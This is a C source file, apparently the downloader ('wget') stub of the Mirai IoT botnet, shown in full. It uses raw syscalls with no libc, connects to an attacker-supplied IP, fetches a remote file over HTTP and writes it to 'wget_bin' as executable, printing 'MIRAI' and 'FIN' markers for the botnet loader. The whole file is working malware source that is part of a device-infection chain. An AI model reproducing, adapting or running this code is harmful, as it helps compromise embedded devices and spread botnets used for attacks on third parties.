wget.c

#include <sys/types.h>
//#include <bits/syscalls.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

#define EXEC_MSG            "MIRAI\n"
#define EXEC_MSG_LEN        6

#define DOWNLOAD_MSG        "FIN\n"
#define DOWNLOAD_MSG_LEN    4

#define STDIN   0
#define STDOUT  1
#define STDERR  2

#if BYTE_ORDER == BIG_ENDIAN
#define HTONS(n) (n)
#define HTONL(n) (n)
#elif BYTE_ORDER == LITTLE_ENDIAN
#define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8))
#define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \
                  ((((unsigned long)(n) & 0xff00)) << 8) | \
                  ((((unsigned long)(n) & 0xff0000)) >> 8) | \
                  ((((unsigned long)(n) & 0xff000000)) >> 24))
#else
#error "Fix byteorder"
#endif

#ifdef __ARM_EABI__
#define SCN(n) ((n) & 0xfffff)
#else
#define SCN(n) (n)
#endif

/* stdlib calls */
int xsocket(int, int, int);
int xwrite(int, void *, int);
int xread(int, void *, int);
int xconnect(int, struct sockaddr_in *, int);
int xopen(char *, int, int);
int xclose(int);
void x__exit(int);

#define socket xsocket
#define write xwrite
#define read xread
#define connect xconnect
#define open xopen
#define close xclose
#define __exit x__exit

#ifdef DEBUG
void xprintf(char *str)
{
    write(1, str, strlen(str));
}
#define printf xprintf
#endif

// wget ip_address remote_file host
int main(int argc, char **args)
{
    char recvbuf[128];
    struct sockaddr_in addr;
    int sfd, ffd;
    unsigned int header_parser = 0;

    write(STDOUT, EXEC_MSG, EXEC_MSG_LEN);

    addr.sin_family = AF_INET;
    addr.sin_port = HTONS(80);
    addr.sin_addr.s_addr = inet_addr(args[1]);

    ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777);
    sfd = socket(AF_INET, SOCK_STREAM, 0);

#ifdef DEBUG
    if (ffd == -1)
        printf("Failed to open file!\n");
    if (sfd == -1)
        printf("Failed to call socket()\n");
#endif

    if (sfd == -1 || ffd == -1)
        __exit(1);

    if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1)
        __exit(2);

    write(sfd, "GET ", 4);
    write(sfd, args[2], strlen(args[2]));
    write(sfd, " HTTP/1.1\r\n", 11);
    write(sfd, "Host: ", 6);
    write(sfd, args[3], strlen(args[3]));
    write(sfd, "\r\nConnection: close\r\n\r\n", 23);

    while (header_parser != 0x0d0a0d0a)
    {
        char ch;
        int ret = read(sfd, &ch, 1);

        if (ret != 1)
            __exit(4);
        header_parser = (header_parser << 8) | ch;
    }
#ifdef DEBUG
    printf("Finished receiving HTTP header\n");
#endif

    while (1)
    {
        int ret = read(sfd, recvbuf, sizeof (recvbuf));

        if (ret <= 0)
            break;
        write(ffd, recvbuf, ret);
    }

    close(sfd);
    close(ffd);
    write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN);
    __exit(5);
}

int xsocket(int domain, int type, int protocol)
{
#if !defined(__NR_socket)
    struct {
        int domain, type, protocol;
    } socketcall;
    socketcall.domain = domain;
    socketcall.type = type;
    socketcall.protocol = protocol;
    return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall);
#else
    return syscall(SCN(SYS_socket), domain, type, protocol);
#endif
}

int xread(int fd, void *buf, int len)
{
    return syscall(SCN(SYS_read), fd, buf, len);
}

int xwrite(int fd, void *buf, int len)
{
    return syscall(SCN(SYS_write), fd, buf, len);
}

int xconnect(int fd, struct sockaddr_in *addr, int len)
{
#if !defined(__NR_socket)
    struct {
        int fd;
        struct sockaddr_in *addr;
        int len;
    } socketcall;
    socketcall.fd = fd;
    socketcall.addr = addr;
    socketcall.len = len;
    return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall);
#else
    return syscall(SCN(SYS_connect), fd, addr, len);
#endif
}

int xopen(char *path, int flags, int other)
{
    return syscall(SCN(SYS_open), path, flags, other);
}

int xclose(int fd)
{
    return syscall(SCN(SYS_close), fd);
}

void x__exit(int code)
{
    syscall(SCN(SYS_exit), code);
}